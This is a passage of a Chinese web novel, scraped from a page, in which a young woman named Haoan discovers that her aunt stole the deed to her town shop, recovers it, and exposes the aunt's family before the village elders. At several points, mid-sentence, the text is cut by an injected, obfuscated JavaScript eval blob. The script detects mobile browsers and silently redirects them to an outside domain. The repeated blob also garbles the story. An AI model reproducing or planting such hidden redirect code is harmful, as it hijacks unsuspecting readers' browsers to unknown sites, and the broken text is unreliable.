“去后院。” 好安一边催着谢宗林，一边走到门后，见谢宗林藏好了才打开院门。 “好——” “哎呦，我可算想起来上次忘了啥。”好来婶根本不给好安说话的机会，急吼吼地说道：“你家铺子最近给你交租子了吗？” “什么铺子？”好安一时没反应过来。 “你家在县里有个铺子，最近有人来给你交租子吗？”好来婶解释道。 什么？她在县里有个铺子！ 好安先是意外，接着内心狂喜，憋笑说道：“我最近没见到脸生的人。” “不应该啊。”好来婶拍了拍大腿，疑惑道：“你娘租房子的时候我也在，交租子的日子都过了好几天了，应该有人来的呀。” “或许是对方忘记了。” “也不是不可能。要不我们现在去县里看看？” 好安逐渐冷静，铺子在哪不会跑，今天去一趟就行，但自己做的这些吃食卖不完会坏。 “下午吧。”好安正要开口，就听好来婶忽然说道：“婶子一激动，忘记你中午要去县里卖吃食。刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950798|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好我中午要给云丫头做饭，下午直接去县里找你。” “行。”好安感激地看了好来婶一眼。 铺子！ 好安门一关，脸都要笑裂了。谢宗林什么时候从后院出来的都不知道。 “有刀吗？这根竹子要修一下。” “有。”好安捂着嘴，一边努力控制着脸上的笑意，一边从兜里掏出两文钱，说道：“在这呢。”说完，整个人飘忽忽的进屋了。 谢宗林拿着两文钱一时不知道该说什么好，算了，还是他自己找吧。 ———— 好安今日卖冰粉奶茶的时候，笑容格外真挚，珍珠小料也给的格外大方。 对面卖奶茶的人瞪了她好几眼，她还笑呵呵地看着人家。气得对方没卖完就拖着摊子走了。 不图别的，就是接受不了对面肆意嘲讽。 午高峰一过，好安奶茶差不多还剩两筒，要是再等上一会，必定能卖完。 但好安今天等不及了，她估摸着好来婶就快到了，不能让对方等太久，便把剩下的一点给摊子附近的几位分了。 果然，她和好来婶前后脚到。 “你家铺子就在附近。”好来婶带着好安朝南走，指着不远处的岔路口说道：“拐个弯就到了。” 这条街看起来人流量不小，有很多小商贩。但好安的眼皮突然跳了一下。 刚拐过弯，好来婶就拍了拍好安的手，说道：“看见没，第三家就是，专门卖早……” 好来婶突然打住：“不对。” 原本的早食铺子已经变成卖杂货的。 好来婶转头看了看四周，眼中染上一丝疑惑：“就是这条路啊，我上个月路过的时候还是卖早食的呀。” 好安抿了抿嘴，刚刚不好的预感成真了，说道：“我先去隔壁铺子打听打听吧。”说着来到最近一家点心铺子。 好安一面买了几块点心，一面装作不经意地问道：“我记得那家不是个早食铺子吗，怎么突然变成杂货铺了？” “你说那家啊，”店主看都没看，就知道好安说的哪家，“早换人啦，原来的老板好像家里有事不开了。” “早换了？”好安面露惊叹：“我记得上个月还是什么时候来还是卖早食的呢。” “都换了半个多月了。”店主说道：“他家夜里都在搬，吵死了。” 好安接过点心，不声不响地朝卖杂货的扫了眼。 她怎么觉得这人有点眼熟呢？ 好安走到好来婶身边，问道：“婶，你有没有觉得这人好像在哪见过？” “你不说没发现，你这么一说好像还真有点。尤其这个眉毛眼睛。” “似曾相识。” 二人在杂货铺对面的茶楼选了一个靠窗的位置坐下。 两双眼睛直勾勾盯着杂货铺里的人，脑海里不停的回忆着。 “你觉不觉得他有点像王翠花？”好来婶突然说道。 “像。可是我大伯娘生不出这么大的儿子吧。”好安赞同地点点头，“她有兄弟姐妹吗？” “有个弟弟。” 好安和好来婶迅速对视一眼，怪不得某人现在这么安静，原来在这闷声做贼呢。 19. 茉莉奶红 第十九章 好安冷眼盯着杂货铺问道：“这种情况我可以去衙门告他吗？” “要房契。”好来婶想了想，说道：“有房契才能告，没有房契衙门也管不了这事。” “应该有吧。”好安这话说得没有底气。 她刚醒来的时候草草翻过家里，后面甚至重新收拾了一次，但没有见过房契之类的东西。 “我要回家找找。”好安不安道：“房契丢了会怎样？” 她是怎么都没想到自己还有套门面房，看大晏律法的时候，相关内容都自动跳过。 好来婶皱眉，正色道：“会变成别人的房子。” 好安心中一惊，连忙问道：“怎么会这样？房契上没有名字嘛？丢了不能补办吗？” “当然有名字，但只有原房主和见人的名字。买房人大部分只会写个姓，有的姓和名都不写，签字时也是一样。”好来婶解释道。 好安愣住，过了片刻苦笑道：“该不会还仅此一张吧。” 好来婶点点头，说道：“房契一定要保管好，这东西没名没姓的，要是被别人捡到说是他的，那可就记不清了。” “万一就是有人存心做恶呢？县里之前有过这样的案子吗？”好安追问道。 “当然有。如果没有房契，又想告到衙门，就要找到原房主和见人来作证人。” “别无他法？” “别无他法。” 好安扶额，她根本不知道原房主和见人是谁，现在唯一的办法就是回家找房契。 到家后，好安先自己找了一圈，连床底下的石缝都没放过，但一无所获。 她又去田桂家猎狗，把她娘之前用过的东西和穿过的衣服全都拿出来让大黄闻。 “呜。”大黄闻了一圈便在院子里打转。 这便是没有的意思了。 一盆冷水浇在好安头上。 唉，也是。都过去一个多月了，狗鼻子再灵最多也只能闻出几小时内的。 好安把狗还回去后，不知不觉地走到王翠花家门口。 她家没有房契，偏偏同时，房子被王翠花低调租了她弟弟，这不能怪她多想，实在是怎看怎像王翠花偷了房契。 “你在我家门口做什么？”好雪刚出门便看见好安在她家门口徘徊。 “我来看看我的猪腿多大了。”好安随口答道。 好雪顿时气歪了脸：“你！” 好安对好雪的神情视而不见，伸头往院里看了看，嬉笑道：“我就看看，给进不？” “你做梦！”好雪“嘭”一下，把门关得震天响，转头对好安凶巴巴地说道。 “家里没人呀。”好安扬了扬下巴。 好雪没好气道：“关你什么事。” 锁好院门，好雪正要离开，却见好安没走，还在门口探头探脑。 “你不许在我家门口。”说着一把拉过好安，生拉硬拽地拖着她往前走。 “嘶——下手轻点。” 好安一开始是真不想走，她想趁着没人翻进去，奈何好雪一直盯着她，不给她一丝机会，最后只好离开。 二人殊不知她们在这拉拉扯扯的行为全都落进一个人眼里。 心里揣着事，好安做什么都有点心不在焉的，把原本给谢宗林准备的茉莉菊花茶里的茉莉加到她的红茶里。 这能做成什么？茉莉奶红吗？好安赶紧尝了尝。 醇厚的红茶融入茉莉的清香，不仅使口感变得丰富独特，闻着也芬芳高雅，喝完嘴巴都是香香的。 误打误撞的好像还不错。 可惜没有冰块，不然加冰锁香味道会更好。 没了茉莉，茉莉菊花茶自然不成了，但上次煮酸梅汤还剩了点薄荷， 菊花薄荷茶，听着就夏天。两者都清热解毒，疏风散热，薄荷还能提神醒脑，远离疲劳。 而且薄荷更便宜。 “我还没问你呢？前几次的绿豆汤、冬瓜茶和酸梅汤哪个更好卖？”好安对正在烧火的谢宗林问道。 自从谢宗林帮她稳固了小推车，好安便发现他的手很好看，手艺活也很不错。 这么一双细长灵巧的手不干活简直浪费。 她舍不得三更半夜喊好昕起床来给她烧火，但她舍得喊谢宗林呀。 两个人一起忙活，她也能多睡一会。大不了给他工钱，也是划算的。 “酸梅汤吧，卖绿豆汤的有好几家。酸梅汤的只有我。”谢宗林折了几根枯树枝塞进灶膛。 “我的绿豆汤和冬瓜茶凭什么不好卖！”好安挥了挥手里的大勺，不服。 暖黄的火光印在谢宗林带笑的眉眼上，嘴角在无人察觉的角落微微勾起，道：“你忘了冬瓜茶被包圆了呀。” 好吧，冬瓜茶这个理由她勉强能接受。 “那绿豆汤呢。”好安不依不饶，她煮的糖水不应该都好卖吗？ “你没发现绿豆都被我煮得开花出沙了吗？而且我还放了一大勺薏米，健脾祛湿。” “额——有些人的绿豆汤放糖了，甜。”谢宗林如实说道。 “就因为甜？” 谢宗林点点头。 “肤浅！”好安撇嘴，低头看了一眼锅里正在煮的菊花薄荷茶，目光逐渐暗沉。 甜才好卖，是吧。 好安丢下勺子，转身拿了两个罗汉果丢了进去。 迎合客户，该的。 饮子甜品备好，入井浸凉。 好安做完收尾工作，又忍不住要去王翠花家门口晃悠，却突然被谢宗林喊住。 “这个给你。” 谢宗林递给好安一张纸。 “这什——”好安边说边接过，等看清内容后一下呆了几秒。 “房契！” 地址和她家铺子吻合。 好安瞬间两眼放光，一手紧握着房契，一手捂着胸口，开心的嘴巴都快翘到耳后根。 “淡定。”好安捏着嘴巴长吸一口气，酝酿后又缓缓呼出，“你哪找到的？我找了一下午呢。” 谢宗林眼神开始闪躲，他不肯说，但最终没架住好安追问，支支吾吾道：“在你大伯家找到的。” “呵，”好安冷哼一声：“我就知道和那一家脱不了干系。” “你不生气？不会觉得我手脚不干净？”谢宗林面露不安。 “这个，做人嘛，确实不能做梁上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950799|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 君子。”好安装模作样子的咳了两声，安慰道：“但拿回自家的东西怎么能叫偷呢！是他们不义在先，我们只是物归原主。” “明天给你加菜。” ———— 得了房契，好安第二日便请人写了诉状，告到了衙门。 这种条理清晰、证据十足的案子判的极快，从好安进衙门，衙门押来王翠花她弟王有财，到王有财进牢房，前前后后不过半个时辰，一点都没耽搁好安中午的生意。 说来也巧，今就王有财一人在店里，好安卖完东西回家的时候，王翠花还什么反应都没有呢。 说加菜就加菜，好安今特意给谢宗林在酒楼里定了两荤一素。 “昕昕，你把晚饭送去。让他吃完就来。” 好安估摸着不是今晚就是明晚，有场硬仗要打。 但再打也不能耽搁她赚钱。等谢宗林一到，他们就开工，忙完了，她就可以消停等着人上门了。 酉时一过，日入山，鸟归林。 王有财她娘没等到王有财，便从隔壁王家村跑来找王翠花。 “你弟今怎么还没回来，要不你去县里看看？” “这个时候没回来，说不定在县里住下了。他以前又不是没住过。” “以前不回来都会带话给家里，可今什么信都没有。” “做买卖要应酬，说不定是喝多了，忘了。” 老太太想了想还真有可能，他儿子就好这口，两口黄酒下肚，什么事都能忘了。平日里有媳妇在旁边能照顾着，能传信回来，今碰巧他媳妇有事没去铺子里，他怕是早不知在什么地方喝晕了过去。 “那这更要去找呀，万一他半夜想喝口水怎么办？” “他这么大人了，有手有脚的倒口水喝没问题。明早醒了，自然就回来了”王翠花满不在乎道。 “不行，都说了没人照顾。”老太太不同意。 天早就黑了，王翠花不想动弹，头一撇说道：“反正我不去。你想找让他媳妇找去。” “不行！” 她儿子爱往什么地方钻，爱在什么地方喝酒，老太太可太清楚了。万一被他媳妇发现了不得闹翻天。 “这不行，那不行。”王翠花不耐烦道：“我看是和儿子儿媳妇有关的都不行，只有闺女行是吧。” “没，娘不是这个意思。”老太太连忙安抚道：“你弟媳妇不喜欢你弟喝酒，娘是怕她闹，家里不得安生。” “不就是喝个酒吗？能出什么事！做买卖的谁不喝上三两杯，人家是抬举你才给你酒喝，看不上你的屁都没有。”王翠花面露不满，这个弟媳小气吧啦的喝口酒也管。 “对对付，闺女说得都对。可也不能对你弟不管不问呀。”老太太见王翠花发火也不敢硬要她去。 “谁对她不管不问了？我要是不管不问他哪来的铺子开店。”说到这个王翠花就硬气了。 因这个铺子，现在全家都听她的。 “你随他喝去，让他难受几回，知道难受了，下次不就注意了吗？” “好像也是哦。”老太太面露犹豫，“那你弟媳那边……” “就说歇在我家了。”王翠花一锤定音。 20. 房契 第二十章 第二日，天一亮，老太太就瞒着儿媳妇，偷偷搭上村里最早的一趟牛车去县里找儿子。 其他的铺子早已开门迎客，只有杂货铺的门紧闭着。 “喝喝喝！” 老太太有怒，却又没有办法。 县里的秦楼楚馆，酒店瓦舍，老太太都寻过了，半分人影都没。 找不到，只能等。 老太太手上没有铺子的钥匙，只好坐在门口等。 铺子朝东，早上的太阳虽不如中午的强烈，但毕竟三伏天，太阳只要出头就没有温和的时候。 年轻人坐这时间久了都扛不住，更何况一个年纪大的。 “老太太，你坐在这里干什么？”有人问道。 “等儿子呢。”老太太回答。 “那你坐这等。”隔壁铺子老板腾出一块阴凉地，说道：“坐别人铺子门口不好。” “没事。”老太太抖了抖脸上的褶子，骄傲地说道：“这就是我家铺子。” 老太太之前很少来，来了也只呆在后院，没去过前头。所以和街坊邻里都不认识。 “你家的？”隔壁老板上上下下打量了老太太一眼，说道：“还没一天，这铺子就租出去了？” “什么一天租出去？”老太太没懂，说道：“我儿子一直在这开杂货铺，我是他娘，今来找他的。” 说话间，一个牙人拎着一串钥匙来到铺子前，身后还跟着一个租户。 “这条街上的铺子都抢手，几乎没有空的，这还是昨天刚腾出来的，除了比前面几个小点，就没有其他……”说着，牙人把门打开，压根都没发现门口还有个老太太。 “你们干什么！这是我家的铺子。”老太太见有人不经过她同意就要进去，连忙起身扑了过去，拦住想要进门的人。 牙人见状迅速刮了老太太一眼，面露不耐烦，说道：“呸，这谁家的老太婆得了失心疯在这发病呐，不老实在家呆着竟出来瞎转悠。”说着，一边拽开眼前人，一边转头对着租户道：“现在这世道，总有人自己不努力，就想着做春秋大梦。看见什么好东西就说是自家的，今说这个铺子是，明说那块地是，再过几天就要说衙门也是她家的，估计想带着全家搬进去，好让自己当回县太爷。” 牙人一句话的功夫就打消了租户的疑虑。 干他们这行的消息最为灵通，这个铺子有什么问题风险他一清二楚。原本他也不想接，但耐不住好安给的多，干一单抵两单。 “这，这什么事啊。”老太太不明所以的被拒之门外，索性一屁股坐在地上，一边拍着大腿，一边嚎道：“还没有王法啦，都来欺负我一个老太婆啊——” “王有财是你儿子？”隔壁铺子老板问道，语气有点幸灾乐祸。 昨天，好安把王有财送进去后，本着别人可以不清楚，但左邻右舍一定得清楚的原则，特意来铺子前把前因后果详详细细的宣传了一遍，狠狠博了一把同情。 “对！”老太太见有人搭理她，像是见到了救命稻草，拽着对方的裤脚，说道：“你们是邻居，你一定认识我儿子。你评评理，他们是不是在欺负我这个老骨头。” “这铺子是你家的嘛，就评理评理。”隔壁露出鄙夷的神情，一把抽回被抓住的裤脚，坐回自家摊子前，明显是一副不想搭理你的态度。 这个王有财平日里不仅手脚不干净，次次来他店里都要顺走点东西，眼睛也不老实爱到处乱瞟，弄得他闺女都不能来店里帮忙了。 王有财滚蛋了，他求之不得。 “怎么不是我家的铺子，这是我闺女给我儿子开的。”老太太理直气壮道：“你们一个个看热闹，欺负我。等我儿子回来，看我让他怎么教训你……” “你儿子还回的来吗？”隔壁其他几家看热闹的老板笑道：“昨天被衙门带走的是叫王有财吧。” “怎么不是，三角眉，吊梢眼，王八脸上长的东西。” “占了别人的铺子还真当自家的。” “老太婆，快去牢里看看你儿子吧，昨天被带走的时候都尿裤子了啦。” …… 左邻右舍你一句我一句的，老太太都蒙了，但还是听明白一句——王有财被衙门带走了。 老太太哪还顾得上别的，老腿打颤的朝衙门走去。 衙门见她是王有财的母亲，便没阻拦让二人见了一面。 “娘，都是王翠花那个贱人害我。”王有财被抓进去同时还挨了板子，此刻正趴在地上，屁股肿如猪头。 “我的儿，你这是怎么了。”老太太见儿子这副模样样，差点气晕了过去。 “娘你不能晕！你要救我出去！”王有财灰头土脸道：“那个铺子根本不是她的……” “怎么不是，娘是亲眼看到房契的。” 老太太摸着儿子的手，满减心疼。 “肯定不是，不然别人怎么能拿着房契来衙门告我。一定是她和别人串通好，把我送进牢里。”王有财两眼通红，渗出恨意。 “你可是我们老王家的独苗，你姐怎么敢害你呢。”老太太不大相信。 “怎么不会，就是因为我是独苗，她才是害我。”王有财振振有词道：“这个家里要是没有我，你们是不是把家产都留给她。” “这……” “她要是不想害我，那这么好的铺子她怎么不自己留着开，偏偏要让我来。” 老太太一想觉得儿子说的有道理，这铺子要是没有问题好家人怎么不用。 王有财继续说道：“她就是想害死我，然后好独吞家产！” “她敢。”老太太大声叱道，已然相信了儿子说辞。 “娘你一定要救我，他们说我要是三天内不出去就要去服劳役。”王有财说着眼泪鼻涕就流了出来。 “可娘要怎么救你出去。”老太太言语焦急。 “我有办法。”王有财凑上前去，轻轻耳语了几句。 ———— 好家村。 今破壁机的刀片已经磨好，好安正在院里实验。 一两银子的刀头，配上李叔多年的手艺，二者结合的严丝合缝，滴水不漏，堪称完美。就是这个转速一直提不上。打一碗冰浆就废一个人可不行！ 好安正琢磨着如何提高效 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950800|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 率时，好戏已经在角落上演。 ———— 老太太不敢隐瞒，回去一五一十的把事情和儿媳妇说了，说完就带着人朝好家村来。 “王翠花，你赶紧去衙门把你弟放出来！” “我哥闯祸了？”王翠花先是一惊，随后说道：“我有什么能耐能让衙门放人。” “还不是……”老太太开口就被儿媳打断。 “小姑子，这件事你还真有这个能耐。有人说县里的那个铺子不是你的，昨天就带着房契去衙门把有财告了。娘是想让你出个手帮个忙，带着房契去衙门一趟，好让有财出来。”王有财媳妇说着还擦了擦眼泪：“有财在牢里还挨了打，现在只能趴着。你是全家最厉害的人，定能帮这个忙，到时候我和有财定给你请个长生牌，天天在家敬着，祝你长命百岁。” 王翠花被弟媳妇一顿吹捧，心里十分受用，和悦说道：“不用担心，不就房契的事嘛。我现在去趟衙门，保准让衙门放人！”说完起身回房拿房契。 有财媳妇迅速给婆婆使了个眼色。 老太太立刻起身跟了上去，说道：“翠花真是娘的好闺女。” “这都不是事。”王翠花走到柜子前，得意洋洋的拉开抽屉，这时才发现抽屉里空空如也。 “房契呢？”老太太脸瞬间阴了下来。 “或许是放错地方。”有财媳妇插话道。 “没啊。”王翠花脸色闪过惊慌，随即反应过来，肯定道：“是不是好安去衙门告的？” “不然是……”老太太正要发火，被儿媳一个眼神止住。 “对，有财说是她。那这个——” “这个不用担心，她家就她和她弟没一个大人，我今晚去把房契偷出来就行。” “能行？”老太太不确定地问道。 “我能偷一次就能偷两次，娘你不用担心，我弟明天就能回家了。”王翠花满不在乎道。 有财媳妇笑了笑，没说话。 ———— 半夜三更，村里一片寂静。 王翠花一人摸着黑来到好安家门口。 平日里看着懒胳膊懒腿的人，翻起别人家墙头的时候却十分熟练灵活。 王翠花熟门熟路的摸到房里，开始翻找。 “呦，好多钱。”王翠花立刻抓起一串铜板塞进怀里，“怎么没有啊？” 王翠花找得忘我，完全没发现屋子里有亮光。 “什么没有呀，大伯娘？” “房契，我记得上次就在这个盒子里……” 话音未尽，王翠花陡然发现自己被抓包了，僵硬地转身，就看见好安举着油灯冲她笑。 “就，就你一人？”王翠花微微结巴。 “大伯娘想要几人？”好安笑道。 “一人好，一人好。这不怪我，要怪就怪你半夜不睡觉……”说着，王翠花抖着手抓过一根木棍迎面朝好安挥去。 “呼”，棍子划出风声，打空了。王翠花一个踉跄冲出屋子。 厅堂里的光可比好安手里的油灯亮眼。 等王翠花抬头，才发现厅堂里坐满了人。 21. 论事 黑夜之下，好家村祠堂外既灯火通明又寂静无声。 村长背着手闭着眼地站在祠堂门口，一动不动，看不出丝毫情绪。 院子里放着几把临时搬过来的椅子，坐着几位德高望重、神情不一的族老。有的眉头紧锁，有的睡眼惺忪。 好安和王翠花也在院子里，只不过一个站着，一个跪着。 都闹到祠堂门口了，看是有大事要发生。不少村民觉也不睡了，纷纷围在门口，无声地朝院子里看去。 “是有什么事吗？”有的族老俨然一副刚被叫醒的模样，对发生了什么一概不知。 有知道的指了指王翠花面前的两贯钱，又指了指王翠花，小声说道：“村里出贼人了，被抓个正着。” 话音刚落，便听有人高声喊道：“好大山来了。” 好大山正梦周公呢，被人从床上拉起，直到被告知王翠花出事了，才发现睡在自己身边的媳妇不见了。 “村长，族老。”好大山头都没来得及梳，勾着腰，耷拉着眼，一副老实巴交的怂样。 他一进院子便“扑通”一声跪下，连连磕头道：“我什么都不知道啊。” 村长目光一闪，眼睛像满院的灯火一样，亮而尖锐。 “你俩睡一个被窝，你说你不知道？” 好大山在来的路上已经知道发生了什么。 “我是真不知道。”好大山跪着往前踱了两步，说道：“村长，不信你问问好三。” 好三就是刚刚喊他起床的人。 “他来的时候我还在睡觉呢，王翠花干了什么我都不知道啊！”好大山说着头朝地，蜷起瘦小的身子，一副可怜模样。 “啧。”好安看了好大山一眼，转头对着王翠花低声说道：“夫妻本是同林鸟，大难临头各自飞。看来他要拿你祭天，好把自己撇得干干净净。” 王翠花听着却没有要反驳半分的模样，甚至肩膀还缩了缩。 不应该啊。 好安心想：王翠花可不是个受气的人。她不仅在外和邻里闹，在家和好大山干架也是家常便饭。要是好大山说了假话，王翠花绝对第一个冲上去撕烂他的嘴。 难道好大山真不知道王翠花今晚翻墙偷东西？ 好安沉默片刻，扫了一眼院外。 一个脸生的老太太挤在最前面，伸着脖子朝院里看。她身后还跟个年轻的妇人，也是个脸生的。 好安心下了然，不动声色地收回目光，转而对王翠花，说道：“大伯娘我记得你在屋里时不是还说了什么房契嘛，你这是——” “没有！我没说！”王翠花连忙否认，抬手对村长说道：“这个是好安瞎说的，我不知道什么房契。” 村长不解看向好安。 “或许是我听错了。”好安抱歉地笑了笑，半转身对着王翠花，也是对着其他人，说道：“我还以为大伯娘是半夜来偷我房契的，顺手偷了点钱。” “这又关房契何事？”有族老好奇问道。 “唉，就是我家在县里的铺子，前不久闹了笑话。”好安不好意思的笑了笑，说道：“有人趁我记不得以前的事，就冒充我去县里把原来的租户赶跑了，直接没下铺子当成自家的，还一声不吭地开了杂货铺呢。” “还有这样的事！” 好安家在村里特殊，她家没个大人，唯一的男丁好昕还是个娃娃，一家子现在靠一个小姑娘撑着。她家要是传出被侵占家产的消息，不论是谁占的，都是在打好家村的脸！ 想到这，族老眼神不由一紧，一拳狠狠垂在扶手上。 “易族老没事啦。”好安笑笑，悄无声息地站在靠近门口的位置，扬声说道：“幸亏我机智，已经被我发现啦。那人我也被我送进大牢，听说后日就要去北边修河堤呢。” “好！这种人就应该送去服劳役！” “我一开始还以为这人和大伯娘认识呢，才误认为大伯娘是来偷房契，顺带偷钱的。大伯娘既然说不知道房契一事，定然是认不得那人，也不知道那腌臜事的。此事是侄女错了，差点冤枉好人呀。”好安阴阳怪气道。 门口的王家老太太听了好安的话心道：不好。她儿子说了，一定要让王翠花承认这铺子是她租给他的，这样他才能出来。现在王翠花说她不知道铺子的事，那她儿子还怎么出来！ 老太太忍不住了，趁着旁人不注意，“嗖”一下串到王翠花身边，一面拽着她的头发，一面龇着黑黄的大牙，说道：“什么不知道，不是你说这铺子是你的才租给有财的吗？你把有财弄去坐牢，出事了，现在急着撇清干系了？” “娘，不是，啊——”王翠花头发散乱，叫声凄厉，一句完整的话都说不出来。 众人被这一幕惊住，好安不做声的朝旁让了让地方。 “快来人把她们分开。”不知是谁率先反应过来，吼道。 院子里没什么年轻人，最后是门口几个看戏的壮汉费了九牛二虎之力才把二人拉来。 王家老太太头发凌乱，脸上有几道久握不消的红痕。她整个人伏在地上，哭喊道：“村长啊，你可要给我儿做主啊——” “这到底怎么回事？”村长问道。 “他们俩，王翠花和好大山。这俩人合伙起来骗我这个老太婆，还把自己的亲弟弟送进牢里啦。” “我没有。”王翠花伸手要捂她娘的嘴，却被她娘一个转身避开，自己反被一个壮汉制住。 这时，王有财的媳妇登场，她一边含着泪扶起婆婆，一边偷偷戳了戳她，说道：“小姑子说他们家买了一个铺子，想要租给有财。有财没有多想，以为是姐姐日子好了，来帮衬弟弟一把，就开开心心的应了，准备用铺子做了点小买卖。谁曾想，铺子刚开起来没几天，他就被衙门的人带走了说他犯了法，我们今天特意去衙门问了，这才知道那铺子根本不是小姑子家的。” “不是的，是他看见我有房契硬要去的，我没说过要租给他。” 一条绳上的蚂蚱已然分边站。 “房契？”好安适实的插嘴。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950801|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 众人突然想到好安刚刚说的事情，自然而然的把两件事连了起来。 “好安家的房契？”村长冷脸扫了一眼王翠花，却没找到好大山，扫了院子一圈，最后再柱子后面找到了。 “好大山，你知道这事吗？”村长问道。 “我不知道，那是她娘俩的事。”好大山被揪出来，跪在正中央。 王翠花见好大山把事情都甩给自己，火气一下冲上头，抡起胳膊挣开桎梏。 瞬间，好大山的脸上多出两道血痕，一看就是被挠的。 “什么你不知道，当初就是你说好安一个姑娘家的没用，你弟的铺子应该归你。” “要不是你这么说我会去偷房契吗？”王翠花吼道。 “你还偷房契？”村长不可置信道。 今天这都什么事，先是现场抓了王翠花偷钱，后面亲娘亲自出面指认女儿女婿坑害亲弟，现在又爆出来她偷侄女的房契！ 村长只觉得两眼一黑。 去年一年都没今天一天的事多。 王翠花这才发现自己情急之下说漏了嘴。 “大晏国偷窃按金额定罪。两贯钱只挨几个板子关上几天，偷房契这种大金额的，不是劳役就是流放啊。”有人小声说道。 王翠花显然听到了，连忙狡辩道：“没，那铺子房契，是，是好安送我的。对，她送我的。我弟弟用铺子也没问题。是她，好安后悔了，又从我家偷回去了。” “好安，你快去衙门说你搞错了，放了我弟，我就什么事都不跟你计较了。”王翠花的语气带着高高在上的哀求。 在场的都不是傻子，纷纷心照不宣。 “大伯娘这么说我就要问问了，你说房契是我送你，那说说是何时何地，有何凭证？” “我，这……” 好安根本不给王翠花说话的机会，直接道：“我好安是太有钱了吗？随手拿着铺子送人玩？” “各位叔叔伯伯都知道我和弟弟相依为命，整日里想着法子的赚钱，房契这种重要的东西看得都是牢牢的，怎么可能随便让人翻窗得去。” 好安也想让王翠花认下偷窃房契罪，但这样又涉及到她怎么拿回来的，只好在这放过她。 说话间，好安余光瞄到旁边休息的婆媳二人，这才是她对付王翠花的武器。 这两人应该歇够了吧。 于是，好安转身看向王翠花，说道：“怕不是大伯娘在我家偷错了，或是没偷到，找人做了一份假的糊弄旁人吧。” “我，这……”王翠花一副吞吞吐吐的样子落在王家老太太就是认了。 “好啊，王翠花，亏我还相信你，原来你弟说的都是真的，你是要该死他！”王老太太这次是真真正正的发飙了，两眼迸发出如刀尖般锋利的恨意。她抓着王翠花脖子，朝死里掐，混浊的泪，鲜红的血，搅和成一团，落在地上。 众人的眼睛都盯着院子里的两个人，全然没发现，有一个人悄摸着走到好大山旁边轻轻耳语了几句。 22. 冰浆 “我要休妻。”好大山突然大喊一声。 他的话像一瓢冷水，瞬间浇灭院里的所有声音，四周出现短暂的寂静。 好安也很意外。 “王翠花瞒着我偷我侄女的房契和钱，我好大山没有这样的媳妇！”好大山每个字说得铿锵有力，腰板都明显直了。 “房契就是她偷的，只不过被我发现。我想着我们是夫妻，不忍心报官，可知道这事后我良心又过不去，就趁她不注意偷偷放了回去，所以大侄女才没发现房契丢过。”好大山拍了拍胸口，恨铁不成钢道：“我本来给过翠花机会的，没想到她今晚又去偷钱了！” 好安在一边听笑了，这一家子是内讧了？ “好大山你个吃粪长的东西怎么不烂茅坑里，就你还敢休了老娘，喷你娘的粪水！”王翠花顾不上被揪住的头发，疯狂地朝好大山扑去，双目通红地骑在他头上，像是要吃人。 三方扭打成一团，无数头发丝起起又落落。 不愧是狗咬狗，一嘴的毛。 最后六个壮汉一起上才把三人分开。 每人身上都挂彩。 “我要休妻！”好大山顶着一脸的血印子，语气坚决。 “娘，我们都是被好大山害了呀。”王翠花转头哭诉道。 王家老太太不语，只是一味地躺在儿媳妇怀里哼唧。 王翠花见亲娘不搭理她，又转头道：“村长，好大山他撒谎，我给他生了一儿一女，他不能这么对我啊——” “你就是个贼，方儿雪儿没你这样的母亲。” “你们夫妻俩如何，是你们的家事。今天在这论的是王翠花偷窃！”村长吼道。 他也没想到两贯钱能牵出这么多破事，想想都烦。 他缓了口气，说道：“王翠花，这两贯钱你有什么要说？” 人赃并获，王翠花摇摇头只能认下。 “除了这个，还有房契。好大山说你偷盗好安的房契，这个你有什么要说的？” “我没有！”王翠花脸一横，不认，“房契在好安手上，根本没丢。他就是想休我，瞎说的。” 王翠花难得聪明一回。 村长顿了顿，确实没有证据证明王翠花偷了房契。 “怎么不是你偷的，不是你说你能偷一次就能偷两次吗？”王家老太太突然起身，开口道：“快跟村长承认是你偷房契骗了你弟弟，到时候还要麻烦村长去衙门做个见证，好回头把你弟放出来。快，只要你认了，你就是娘的最好孩子。” 